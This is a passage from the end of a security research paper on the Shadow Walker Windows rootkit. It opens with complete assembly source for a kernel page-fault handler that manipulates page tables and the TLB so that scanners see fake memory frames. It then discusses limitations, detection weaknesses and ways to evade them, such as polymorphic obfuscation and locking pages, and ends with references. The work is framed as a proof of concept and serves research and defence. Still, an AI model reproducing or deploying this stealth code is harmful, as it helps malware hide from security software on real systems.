follows: 1. The appropriate physical frame mapping is loaded into the PTE for the faulting address. 2. The page is temporarily marked present. 3. For a DTLB load, a memory read on the hooked page is performed. 4. For an ITLB load, a call into the hooked page is performed. 5. The page is marked as non present again. 6. The old physical frame mapping for the PTE is restored. After TLB loading, control is directly returned to the faulting code. /************************************************************************** * NewInt0EHandler - Page fault handler for the memory hook engine (aka. the * guts of this whole thing ;) * * Parameters - none * * Return - none * *************************************************************************** void __declspec( naked ) NewInt0EHandler(void) { __asm { pushad mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode test edx, 0x04 //if the processor was in user mode, then jnz PassDown //pass it down mov eax,cr2 //faulting virtual address cmp eax, HIGHEST_USER_ADDRESS jbe PassDown //we don't hook user pages, pass it down //////////////////////////////////////// //Determine if it's a hooked page ///////////////////////////////////////// push eax call FindPageInHookedList mov ebp, eax //pointer to HOOKED_PAGE structure cmp ebp, ERROR_PAGE_NOT_IN_LIST jz PassDown //it's not a hooked page /////////////////////////////////////// //NOTE: At this point we know it's a //hooked page. We also only hook //kernel mode pages which are either //non paged or locked down in memory //so we assume that all page tables //are resident to resolve the address //from here on out. ///////////////////////////////////// mov eax, cr2 mov esi, PROCESS_PAGE_DIR_BASE mov ebx, eax shr ebx, 22 lea ebx, [esi + ebx*4] //ebx = pPTE for large page test [ebx], 0x80 //check if its a large page jnz IsLargePage mov esi, PROCESS_PAGE_TABLE_BASE mov ebx, eax shr ebx, 12 lea ebx, [esi + ebx*4] //ebx = pPTE IsLargePage: cmp [esp+0x24], eax //Is due to an attepmted execute? jne LoadDTLB //////////////////////////////// // It's due to an execute. Load // up the ITLB. /////////////////////////////// cli or dword ptr [ebx], 0x01 //mark the page present call [ebp].pfnCallIntoHookedPage //load the itlb and dword ptr [ebx], 0xFFFFFFFE //mark page not present sti jmp ReturnWithoutPassdown //////////////////////////////// // It's due to a read /write // Load up the DTLB /////////////////////////////// /////////////////////////////// // Check if the read / write // is originating from code // on the hidden page. /////////////////////////////// LoadDTLB: mov edx, [esp+0x24] //eip cmp edx,[ebp].pDriverStarts jb LoadFakeFrame cmp edx,[ebp].pDriverEnds ja LoadFakeFrame ///////////////////////////////// // If the read /write is originating // from code on the hidden page,then // let it go through. The code on the // hidden page will follow protocol // to clear the TLB after the access. //////////////////////////////// cli or dword ptr [ebx], 0x01 //mark the page present mov eax, dword ptr [eax] //load the DTLB and dword ptr [ebx], 0xFFFFFFFE //mark page not present sti jmp ReturnWithoutPassdown ///////////////////////////////// // We want to fake out this read // write. Our code is not generating // it. ///////////////////////////////// LoadFakeFrame: mov esi, [ebp].pReadWritePte mov ecx, dword ptr [esi] //ecx = PTE of the //read / write page //replace the frame with the fake one mov edi, [ebx] and edi, 0x00000FFF //preserve the lower 12 bits of the //faulting page's PTE and ecx, 0xFFFFF000 //isolate the physical address in //the "fake" page's PTE or ecx, edi mov edx, [ebx] //save the old PTE so we can replace it cli mov [ebx], ecx //replace the faulting page's phys frame //address w/ the fake one //load the DTLB or dword ptr [ebx], 0x01 //mark the page present mov eax, cr2 //faulting virtual address mov eax, dword ptr[eax] //do data access to load DTLB and dword ptr [ebx], 0xFFFFFFFE //re-mark page not present //Finally, restore the original PTE mov [ebx], edx sti ReturnWithoutPassDown: popad add esp,4 iretd PassDown: popad jmp g_OldInt0EHandler }//end asm }//end NewInt0E --[ 4 - Known Limitations & Performance Impact As our current rootkit is intended only as a proof of concept demonstration rather than a fully engineered attack tool, it possesses a number of implementational limitations. Most of this functionality could be added, were one so inclined. First, there is no effort to support hyperthreading or multiple processor systems. Additionally, it does not support the Pentium PAE addressing mode which extends the number of physically addressable bits from 32 to 36. Finally, the design is limited to cloaking only 4K sized kernel mode pages (i.e. in the upper 2 GB range of the memory address space). We mention the 4K page limitation because there are currently some technical issues with regard to hiding the 4MB page upon which ntoskrnl resides. Hiding the page containing ntoskrnl would be a noteworthy extension. In terms of performance, we have not completed rigorous testing, but subjectively speaking there is no noticeable performance impact after the rootkit and memory hooking engine are installed. For maximum performance, as mentioned previously, code and data should remain on separate pages and the usage of global data should be minimized to limit the impact on performance if one desires to enable both data and executable page cloaking. --[ 5 - Detection There are at least a few obvious weaknesses that must be dealt with to avoid detection. Our current proof of concept implementation does not address them, however, we note them here for the sake of completeness. Because we must be able to differentiate between normal page faults and those faults related to the memory hook, we impose the requirement that hooked pages must reside in non paged memory. Clearly, non present pages in non paged memory present an abnormality. Weather or not this is a sufficient heuristic to call a rootkit alarm is, however, debatable. Locking down pagable memory using an API like MmProbeAndLockPages is probably more stealthy. The next weakness lies in the need to disguise the presence of the page fault handler. Because the page where the page fault handler resides cannot be marked non present due to the obvious issues with recursive reentry, it will be vulnerable to a simple signature scan and must be obsfucated using more traditional methods. Since this routine is small, written in ASM, and does not rely upon any kernel API's, polymorphism would be a reasonable solution. A related weakness arises in the need to disguise the presence of the IDT hook. We cannot use our memory hooking technique to disguise the modifications to the interrupt descriptor table for similar reasons as the page fault handler. While we could hook the page fault interrupt via an inline hook rather than direct IDT modification, placing a memory hook on the page containing the OS's INT 0E handler is problematic and inline hooks are easily detected. Joanna Rutkowska proposed using the debug registers to hide IDT hooks [5], but Edgar Barbosa demonstrated they are not a completey effective solution [12]. This is due to the fact that debug registersprotect virtual as opposed to physical addresses. One may simply remap the physical frame containing the IDT to a different virtual address and read / write the IDT memory as one pleases. Shadow Walker falls prey to this type of attack as well, based as it is, upon the exploitation of virtual rather than physical memory. Despite this aknowleged weakness, most commercial security scanners still perform virtual rather than physical memory scans and will be fooled by rootkits like Shadow Walker. Finally, Shadow Walker is insidious. Even if a scanner detects Shadow Walker, it will be virtually helpless to remove it on a running system. Were it to successfully over-write the hook with the original OS page fault handler, for example, it would likely BSOD the system because there would be some page faults occurring on the hidden pages which neither it nor the OS would know how to handle. --[ 6 - Conclusion Shadow Walker is not a weaponized attack tool. Its functionality is limited and it makes no effort to hide it's hook on the IDT or its page fault handler code. It provides only a practical proof of concept implementation of virtual memory subversion. By inverting the defensive software implementation of non executalbe memory, we show that it is possible to subvert the view of virtual memory relied upon by the operating system and almost all security scanner applications. Due to its exploitation of the TLB architecture, Shadow Walker is transparent and exhibits an extremely light weight performance hit. Such characteristics will no doubt make it an attractive solution for viruses, worms, and spyware applications in addition to rootkits. --[ 7 - References 1. Tripwire, Inc. http://www.tripwire.com/ 2. Butler, James, VICE - Catch the hookers! Black Hat, Las Vegas, July, 2004. www.blackhat.com/presentations/bh-usa-04/bh-us-04-butler/ bh-us-04-butler.pdf 3. Fuzen, FU Rootkit. http://www.rootkit.com/project.php?id=12 4. Holy Father, Hacker Defender. http://hxdef.czweb.org/ 5. Rutkowska, Joanna, Detecting Windows Server Compromises with Patchfinder 2. January, 2004. 6. Butler, James and Hoglund, Greg, Rootkits: Subverting the Windows Kernel. July, 2005. 7. B. Cogswell and M. Russinovich, RootkitRevealer, available at: www.sysinternals.com/ntw2k/freeware/rootkitreveal.shtml 8. F-Secure BlackLight (Helsinki, Finland: F-Secure Corporation, 2005): www.fsecure.com/blacklight/ 9. Jack, Barnaby. Remote Windows Exploitation: Step into the Ring 0 http://www.eeye.com/~data/publish/whitepapers/research/ OT20050205.FILE.pdf 10. Chong, S.K. Windows Local Kernel Exploitation. http://www.bellua.com/bcs2005/asia05.archive/ BCSASIA2005-T04-SK-Windows_Local_Kernel_Exploitation.ppt 11. William A. Arbaugh, Timothy Fraser, Jesus Molina, and Nick L. Petroni: Copilot: A Coprocessor Based Runtime Integrity Monitor. Usenix Security Symposium 2004. 12. Barbosa, Edgar. Avoiding Windows Rootkit Detection http://packetstormsecurity.org/filedesc/bypassEPA.pdf 13. Rutkowska, Joanna. Concepts For The Stealth Windows Rootkit, Sept 2003 http://www.invisiblethings.org/papers/chameleon_concepts.pdf 14. Russinovich, Mark and Solomon, David. Windows Internals, Fourth Edition. --[ 8 - Aknowlegements Thanks and aknowlegements go to Joanna Rutkowska for her Chamelon Project paper as it was one of the inspirations for this project, to the PAX team for showing how to desynchronize the TLB in their software implementation of non executable memory, to Halvar Flake for our inital discussions of the Shadow Walker idea, and to Kayaker for helping beta test and debug some of the code. We would finally like to extend our greetings to all of the contributors on rootkit.com :) |=[ EOF ]=---------------------------------------------------------------=|